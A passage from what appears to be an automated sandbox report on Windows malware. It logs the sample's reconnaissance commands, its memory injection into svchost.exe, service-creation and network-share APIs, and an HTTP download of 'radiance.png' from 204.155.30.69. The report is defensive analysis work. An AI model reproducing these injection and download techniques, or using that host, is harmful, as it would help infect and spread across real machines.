Get Address c:\windows\system32\kernel32.dll function = InitializeCriticalSection, address_out = 0x7738a149 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = WaitForSingleObject, address_out = 0x76b5ba90 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = FreeLibraryAndExitThread, address_out = 0x76b4fdb8 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = TerminateThread, address_out = 0x76b622a7 True 1
Fn
Get Address c:\windows\system32\user32.dll function = wsprintfW, address_out = 0x76c2426d True 1
Fn
Get Address c:\windows\system32\ole32.dll function = CoInitializeEx, address_out = 0x76d109ad True 1
Fn
Get Address c:\windows\system32\ole32.dll function = IIDFromString, address_out = 0x76ce2ff2 True 1
Fn
Get Address c:\windows\system32\ole32.dll function = CoUninitialize, address_out = 0x76d186d3 True 1
Fn
Get Address c:\windows\system32\oleaut32.dll function = 9, address_out = 0x76a63eae True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = _wtoi, address_out = 0x76f8c823 True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = _snwprintf_s, address_out = 0x76f9141b True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = _vsnwprintf_s, address_out = 0x76f913b4 True 1
Fn
Network Behavior
Process #47: cmd.exe
58 0
»
Information Value
ID #47
File Name c:\windows\system32\cmd.exe
Command Line /c net config workstation
Initial Working Directory C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\
Monitor Start Time: 00:03:48, Reason: Child Process
Unmonitor End Time: 00:03:50, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0xa50
Parent PID 0xa70 (c:\windows\system32\svchost.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level Medium
Username ZGW5TDPU\2XC7u663GxWc
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 318
Host Behavior
File (8)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata type = file_attributes True 2
Fn
Open STD_OUTPUT_HANDLE - True 4
Fn
Open STD_INPUT_HANDLE - True 2
Fn
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 232, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Process (1)
»
Operation Process Additional Information Success Count Logfile
Create C:\Windows\system32\net.exe os_pid = 0xd4c, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\system32\cmd.exe base_address = 0x4a3c0000 True 1
Fn
Get Handle c:\windows\system32\kernel32.dll base_address = 0x76b10000 True 2
Fn
Get Filename - process_name = c:\windows\system32\cmd.exe, file_name_orig = C:\Windows\system32\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetThreadUILanguage, address_out = 0x76b624c2 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CopyFileExW, address_out = 0x76b4ac6c True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = IsDebuggerPresent, address_out = 0x76b53ea8 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76b62732 True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-05-14 15:33:54 (UTC) True 1
Fn
Get Time type = Ticks, time = 11072982 True 1
Fn
Get Time type = Performance Ctr, time = 30244665706 True 1
Fn
Environment (19)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 7
Fn
Data
Get Environment String name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata True 1
Fn
Set Environment String name = COPYCMD True 1
Fn
Set Environment String name = =ExitCode, value = 00000000 True 1
Fn
Set Environment String name = =ExitCodeAscii True 1
Fn
Process #48: net.exe
0 0
»
Information Value
ID #48
File Name c:\windows\system32\net.exe
Command Line net config workstation
Initial Working Directory C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\
Monitor Start Time: 00:03:48, Reason: Child Process
Unmonitor End Time: 00:03:50, Reason: Self Terminated
Monitor Duration 00:00:01
Remark No high level activity detected in monitored regions
OS Process Information
»
Information Value
PID 0xd4c
Parent PID 0xa50 (c:\windows\system32\cmd.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level Medium
Username ZGW5TDPU\2XC7u663GxWc
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 918
Process #49: net1.exe
51 0
»
Information Value
ID #49
File Name c:\windows\system32\net1.exe
Command Line C:\Windows\system32\net1 config workstation
Initial Working Directory C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\
Monitor Start Time: 00:03:48, Reason: Child Process
Unmonitor End Time: 00:03:50, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0x3dc
Parent PID 0xd4c (c:\windows\system32\net.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level Medium
Username ZGW5TDPU\2XC7u663GxWc
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 87C
0x 3F8
0x D5C
Host Behavior
File (36)
»
Operation Filename Additional Information Success Count Logfile
Get Info STD_ERROR_HANDLE type = file_type True 17
Fn
Open STD_OUTPUT_HANDLE - True 1
Fn
Open STD_ERROR_HANDLE - True 1
Fn
Write STD_ERROR_HANDLE size = 49 True 1
Fn
Data
Write STD_ERROR_HANDLE size = 47 True 2
Fn
Data
Write STD_ERROR_HANDLE size = 51 True 1
Fn
Data
Write STD_ERROR_HANDLE size = 2 True 5
Fn
Data
Write STD_ERROR_HANDLE size = 39 True 1
Fn
Data
Write STD_ERROR_HANDLE size = 68 True 1
Fn
Data
Write STD_ERROR_HANDLE size = 61 True 1
Fn
Data
Write STD_ERROR_HANDLE size = 48 True 1
Fn
Data
Write STD_ERROR_HANDLE size = 40 True 1
Fn
Data
Write STD_ERROR_HANDLE size = 41 True 1
Fn
Data
Write STD_ERROR_HANDLE size = 42 True 1
Fn
Data
Write STD_ERROR_HANDLE size = 37 True 1
Fn
Data
Registry (3)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion value_name = ProductName, data = 0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion value_name = ProductName, data = Windows 7 Professional, type = REG_SZ True 1
Fn
Module (3)
»
Operation Module Additional Information Success Count Logfile
Load NETMSG base_address = 0x72190000 True 1
Fn
Get Handle c:\windows\system32\net1.exe base_address = 0x440000 True 1
Fn
Get Filename - process_name = c:\windows\system32\net1.exe, file_name_orig = C:\Windows\system32\net1.exe, size = 260 True 1
Fn
Service (2)
»
Operation Additional Information Success Count Logfile
Get Service Name database_name = SERVICES_ACTIVE_DATABASE True 1
Fn
Open Manager database_name = SERVICES_ACTIVE_DATABASE True 1
Fn
User (2)
»
Operation Additional Information Success Count Logfile
Get Username user_name_out = 2XC7u663GxWc True 2
Fn
System (4)
»
Operation Additional Information Success Count Logfile
Get Computer Name result_out = ZgW5tdPu, type = ComputerNameDnsFullyQualified True 1
Fn
Get Time type = System Time, time = 2019-05-14 15:33:54 (UTC) True 1
Fn
Get Time type = Ticks, time = 11073247 True 1
Fn
Get Time type = Performance Ctr, time = 30302875396 True 1
Fn
Process #50: svchost.exe
247 2
»
Information Value
ID #50
File Name c:\windows\system32\svchost.exe
Command Line svchost.exe
Initial Working Directory C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\
Monitor Start Time: 00:03:50, Reason: Child Process
Unmonitor End Time: 00:04:16, Reason: Terminated by Timeout
Monitor Duration 00:00:26
OS Process Information
»
Information Value
PID 0xda0
Parent PID 0x214 (c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level Medium
Username ZGW5TDPU\2XC7u663GxWc
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x D90
0x DCC
0x DDC
0x DC8
0x DBC
Injection Information
»
Injection Type Source Process Source Os Thread ID Information Success Count Logfile
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x50000, size = 367 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0xa0000, size = 112 True 47
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x602104, size = 12 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd40000, size = 1024 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd41000, size = 5632 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd43000, size = 512 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd44000, size = 512 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd45000, size = 36 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd46000, size = 512 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd47000, size = 1536 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd48000, size = 512 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 26 True 3
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0xb0000, size = 12 True 6
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 19 True 4
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0xb0000, size = 16 True 37
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd47138, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 15 True 3
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4713c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd47140, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 14 True 3
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd47144, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 12 True 6
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4714c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 10 True 5
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd47150, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd47154, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 13 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd47158, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4715c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 17 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd47160, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd47164, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd47168, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4716c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 11 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd47170, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 9 True 3
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd47174, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd47178, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 6 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4717c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 20 True 4
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd47180, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd47184, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd47188, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4718c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 16 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd47194, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 23 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd47198, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd4719c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 18 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd471a0, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd471a4, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd471ac, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 22 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd471b4, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd471b8, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 24 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd471c0, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd471c4, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd471c8, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd471cc, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd471d0, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd471d4, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd471d8, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x6cd471dc, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0xb0000, size = 4 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x340000, size = 1024 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x350000, size = 388 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x360000, size = 40 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 8 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x350000, size = 128 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x370000, size = 44 True 1
Fn
Data
Host Behavior
File (2)
»
Operation Filename Additional Information Success Count Logfile
Create fdata.dat desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL True 1
Fn
Write fdata.dat size = 446464 True 1
Fn
Data
Module (44)
»
Operation Module Additional Information Success Count Logfile
Load ADVAPI32.dll base_address = 0x774c0000 True 1
Fn
Load KERNEL32.dll base_address = 0x76b10000 True 1
Fn
Load MPR.DLL base_address = 0x71e30000 True 1
Fn
Load ntdll.dll base_address = 0x77330000 True 1
Fn
Load USER32.dll base_address = 0x76c00000 True 1
Fn
Load WINHTTP.dll base_address = 0x719a0000 True 1
Fn
Get Handle c:\windows\system32\svchost.exe base_address = 0x600000 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CloseServiceHandle, address_out = 0x774d369c True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CreateServiceW, address_out = 0x774e712c True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = OpenSCManagerW, address_out = 0x774cca64 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = StartServiceW, address_out = 0x774c7974 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CloseHandle, address_out = 0x76b5ca7c True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CopyFileW, address_out = 0x76b467c3 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateFileW, address_out = 0x76b5cc56 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateThread, address_out = 0x76b6375d True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = DeleteFileW, address_out = 0x76b50f62 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetComputerNameW, address_out = 0x76b503ff True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetLastError, address_out = 0x76b5bf00 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetModuleHandleA, address_out = 0x76b5cf41 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = HeapAlloc, address_out = 0x77382dd6 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = HeapCreate, address_out = 0x76b63ea2 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = HeapFree, address_out = 0x76b5bbd0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = HeapReAlloc, address_out = 0x7739ff51 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = Sleep, address_out = 0x76b5ba46 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = WideCharToMultiByte, address_out = 0x76b6450e True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = WriteFile, address_out = 0x76b61400 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = lstrcmpW, address_out = 0x76b667b0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = lstrlenW, address_out = 0x76b5d9e8 True 1
Fn
Get Address c:\windows\system32\mpr.dll function = WNetAddConnection2W, address_out = 0x71e34744 True 1
Fn
Get Address c:\windows\system32\mpr.dll function = WNetCancelConnection2W, address_out = 0x71e38cd1 True 1
Fn
Get Address c:\windows\system32\mpr.dll function = WNetCloseEnum, address_out = 0x71e32dd6 True 1
Fn
Get Address c:\windows\system32\mpr.dll function = WNetEnumResourceW, address_out = 0x71e33058 True 1
Fn
Get Address c:\windows\system32\mpr.dll function = WNetOpenEnumW, address_out = 0x71e32f06 True 1
Fn
Get Address c:\windows\system32\ntdll.dll function = _vsnwprintf, address_out = 0x7739caaa True 1
Fn
Get Address c:\windows\system32\user32.dll function = wsprintfA, address_out = 0x76c13f47 True 1
Fn
Get Address c:\windows\system32\user32.dll function = wsprintfW, address_out = 0x76c2426d True 1
Fn
Get Address c:\windows\system32\winhttp.dll function = WinHttpCloseHandle, address_out = 0x719a2c01 True 1
Fn
Get Address c:\windows\system32\winhttp.dll function = WinHttpConnect, address_out = 0x719ad9f5 True 1
Fn
Get Address c:\windows\system32\winhttp.dll function = WinHttpOpen, address_out = 0x719a58b9 True 1
Fn
Get Address c:\windows\system32\winhttp.dll function = WinHttpOpenRequest, address_out = 0x719a4aea True 1
Fn
Get Address c:\windows\system32\winhttp.dll function = WinHttpQueryDataAvailable, address_out = 0x719bc5dd True 1
Fn
Get Address c:\windows\system32\winhttp.dll function = WinHttpReadData, address_out = 0x719acb9e True 1
Fn
Get Address c:\windows\system32\winhttp.dll function = WinHttpReceiveResponse, address_out = 0x719ab262 True 1
Fn
Get Address c:\windows\system32\winhttp.dll function = WinHttpSendRequest, address_out = 0x719a79bd True 1
Fn
System (201)
»
Operation Additional Information Success Count Logfile
Sleep duration = 1 milliseconds (0.001 seconds) True 200
Fn
Sleep duration = 1000 milliseconds (1.000 seconds) True 1
Fn
Network Behavior
TCP Sessions (1)
»
Information Value
Total Data Sent 0 bytes
Total Data Received 0 bytes
Contacted Host Count 1
Contacted Hosts 204.155.30.69
TCP Session #1
»
Information Value
Remote Address 204.155.30.69
Remote Port 0
Local Address 192.168.0.251
Local Port -
Data Sent 0 bytes
Data Received 0 bytes
Operation Additional Information Success Count Logfile
Open Session access_type = WINHTTP_ACCESS_TYPE_NO_PROXY, flags = WINHTTP_FLAG_SYNC True 1
Fn
Open Connection protocol = HTTP, server_name = 204.155.30.69, server_port = 0 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /radiance.png, accept_types = 0 True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = 204.155.30.69/radiance.png True 1
Fn
Read Response size = 3816, size_out = 3816 True 1
Fn
Data
Read Response size = 8192, size_out = 8192 True 1
Fn
Data
Read Response size = 808, size_out = 808 True 1
Fn
Data
Read Response size = 3752, size_out = 3752 True 1
Fn
Data
Read Response size = 8192, size_out = 8192 True 3
Fn
Data
Read Response size = 712, size_out = 712 True 1
Fn
Data
Read Response size = 3752, size_out = 3752 True 1
Fn
Data
Read Response size = 8192, size_out = 8192 True 4
Fn
Data
Read Response size = 7040, size_out = 7040 True 1
Fn
Data
Read Response size = 7260, size_out = 7260 True 1
Fn
Data
Read Response size = 8192, size_out = 8192 True 1
Fn
Data
Read Response size = 520, size_out = 520 True 1
Fn
Data
Read Response size = 8192, size_out = 8192 True 8
Fn
Data
Read Response size = 1024, size_out = 1024 True 1
Fn
Data
Read Response size = 8192, size_out = 8192 True 8
Fn
Data
Read Response size = 36, size_out = 36 True 1
Fn
Data
Read Response size = 7260, size_out = 7260 True 1
Fn
Data
Read Response size = 8192, size_out = 8192 True 5
Fn
Data
Read Response size = 5504, size_out = 5504 True 1
Fn
Data
Read Response size = 8192, size_out = 8192 True 1
Fn
Data
Read Response size = 7780, size_out = 7780 True 1
Fn
Data
Read Response size = 5808, size_out = 5808 True 1
Fn
Data
Read Response size = 8192, size_out = 8192 True 1
Fn
Data
Read Response size = 3424, size_out = 3424 True 1
Fn
Data
Read Response size = 8192, size_out = 8192 True 15
Fn
Data
Read Response size = 1992, size_out = 1992 True 1
Fn
Data
Read Response size = 952, size_out = 952 True 1
Fn
Data
HTTP Sessions (1)
»
Information Value
Total Data Sent 0 bytes
Total Data Received 0 bytes
Contacted Host Count 1
Contacted Hosts 204.155.30.69
HTTP Session #1
»
Information Value
Server Name 204.155.30.69
Server Port 0
Username -
Password -
Data Sent 0 bytes
Data Received 0 bytes
Operation Additional Information Success Count Logfile
